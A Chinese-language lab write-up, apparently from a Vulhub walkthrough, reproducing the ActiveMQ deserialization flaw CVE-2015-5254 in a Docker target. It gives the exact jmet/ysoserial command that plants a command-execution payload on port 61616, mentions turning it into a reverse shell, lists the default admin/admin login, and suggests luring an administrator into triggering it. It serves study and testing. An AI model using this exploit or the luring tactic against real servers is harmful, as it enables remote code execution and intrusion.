1. 程式人生 > 實用技巧 >ActiveMQ反序列化漏洞(CVE-2015-5254)復現

ActiveMQ反序列化漏洞(CVE-2015-5254)復現

ActiveMQ反序列化漏洞(CVE-2015-5254)復現

導語

Apache ActiveMQ是美國阿帕奇(Apache)軟體基金會所研發的一套開源的訊息中介軟體,它支援Java訊息服務、叢集、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,該漏洞源於程式沒有限制可在代理中序列化的類。遠端攻擊者可藉助特製的序列化的Java Message Service(JMS)ObjectMessage物件利用該漏洞執行任意程式碼。

漏洞環境

git clone https://github.com/vulhub/vulhub.git
cd ~/vulhub/activemq/CVE-2015-5254

直接執行如下命令,進行漏洞靶場的編譯和執行:

# 可選
docker-compose build
​
docker-compose up -d

P.S.為什麼docker-compose build是可選的?

docker-compose up -d執行後,會自動查詢當前目錄下的配置檔案。如果配置檔案中包含的環境均已經存在,則不會再次編譯;如果配置檔案中包含的環境不存在,則會自動進行編譯。所以,其實docker-compose up -d命令是包含了docker-compose build的。如果更新了配置檔案,你可以手工執行docker-compose build來重新編譯靶場環境。

本次docker容器中ActiveMQ 的版本是ActiveMQ 5.11.1,環境執行後,將監聽61616和8161兩個埠。其中61616是工作埠,訊息將在這個埠進行傳遞。8161是Web管理頁面埠。訪問http://your-ip:8161 即可看到web管理頁面,不過這個漏洞理論上是不需要web的。

漏洞復現

漏洞利用過程如下:

  1. 構造(可以使用ysoserial)可執行命令的序列化物件;

  2. 作為一個訊息,傳送給目標61616埠;

  3. 訪問web管理頁面,讀取訊息,觸發漏洞。

使用jmet進行漏洞利用。首先下載jmet的jar檔案,並在同目錄下建立一個external資料夾(否則可能會爆資料夾不存在的錯誤)。

jmet原理是使用ysoserial生成Payload併發送(其jar內自帶ysoserial,無需再自己下載),當我們使用ysoserial,需要選擇可用的gadget,比如ROME。

執行:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

此時會給目標ActiveMQ新增一個名為event的佇列,我們可以通過http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到這個佇列中所有訊息:

( login / password: admin / admin ):

點選檢視這條訊息即可觸發命令執行,此時進入容器docker-compose exec activemq bash,可見/tmp/success已成功建立,說明漏洞利用成功:

將命令替換成彈shell語句(需要base64編碼,payload線上編碼):

同理點選訊息,觸發漏洞,成功反彈shell:

最後,值得注意的是:此漏洞,需要通過web管理頁面訪問訊息並觸發漏洞,且這個過程需要管理員許可權。在沒有密碼的情況下,我們可以誘導管理員訪問我們的連結以觸發,或者偽裝成其他合法服務需要的訊息,等待客戶端訪問的時候觸發。

移除環境

Vulhub中所有環境均為漏洞靶場,在測試結束後,請及時關閉並移除環境,避免被他人惡意利用。

雖然靶場全部執行在Docker中,但大多數惡意軟體並不會因為執行在容器中就失去效果!

前面說了,docker-compose會預設根據當前目錄下的配置檔案啟動容器,在關閉及移除環境的時候,也需要在對應目錄下。我們執行docker-compose up -d後,不要離開當前目錄即可,漏洞測試結束後,執行如下命令移除環境:

docker-compose down

上述命令會執行如下幾個動作:

  • 關閉正在執行的容器

  • 刪除所有相關容器

  • 移除NAT(docker-compose在執行的時候會建立一個NAT網段)

但不會移除編譯好的漏洞映象,下次再執行docker-compose up -d命令,就不需要再次編譯相關映象了。

P.S. docker-compose down 完整命令:

docker-compose down [options]
停止和刪除容器、網路、卷、映象。
選項包括:
--rmi type,刪除映象,型別必須是:all,刪除compose檔案中定義的所有映象;local,刪除映象名為空的映象;
-v, -volumes,刪除已經在compose檔案中定義的和匿名的附在容器上的資料卷;
–remove-orphans,刪除服務中沒有在compose中定義的容器。

修復建議

  1. 升級到最新版本

  2. 有WAF的可以配置相關規則進行攔截

EXP&POC

暫無